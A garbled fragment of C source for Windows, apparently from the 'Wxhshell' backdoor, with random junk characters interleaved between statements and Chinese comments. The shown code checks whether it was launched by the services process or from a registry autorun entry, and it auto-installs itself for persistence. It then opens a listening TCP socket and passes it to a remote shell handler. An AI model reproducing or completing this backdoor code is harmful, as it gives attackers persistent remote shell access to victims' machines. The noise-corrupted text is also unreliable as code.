X& X oh)l\ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); UAO#$o( if(hProcess==NULL) return 0; oU5mrS.7M! W"@lFUi HMODULE hMod; F<WX\q char procName[255]; 3k0%H]wt unsigned long cbNeeded; bj^m<} uQ1;+P:L if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *0zH5c ><7`$ 2Or CloseHandle(hProcess); zSXC ~jTnjx if(strstr(procName,"services")) return 1; // 以服务启动 Qeog$g.HI *G=AhH$t return 0; // 注册表启动 Mdh"G @$n } L`
"UeNT B.WkHY%/ // 主模块 b(Xg6 int StartWxhshell(LPSTR lpCmdLine) iROM?/$ { dEL"(e#0s4 SOCKET wsl; !r
<|F BOOL val=TRUE; Qq`\C0RZ int port=0; /)|y+<E]} struct sockaddr_in door; ,]"u!,yHb 8;NO>L/J]i if(wscfg.ws_autoins) Install(); ,~iAoxD5jY 0G 1o3[F port=atoi(lpCmdLine); ~` hcgCi% 3NWAyCq- if(port<=0) port=wscfg.ws_port; 21 j+c{O ;~;St>?\R\ WSADATA data; g7F
Z - if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; dfcG'+RU} xU"qB24]= if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; DV"ri setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); yBiwYk6 door.sin_family = AF_INET; Nf'9]I door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q1[s{, door.sin_port = htons(port); (Mh\!rMg [40 YoVlfM if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { FCPRg^=<!~ closesocket(wsl); 'a*IZb-M return 1; _@TTVd } N8vl<
Mq c.WT5|:qw if(listen(wsl,2) == INVALID_SOCKET) { 9U*vnLB closesocket(wsl); M8 }M*\2 return 1; <k5~z( } RJ44o>L4O Wxhshell(wsl); xwH`alu WSACleanup(); RGLqn{< |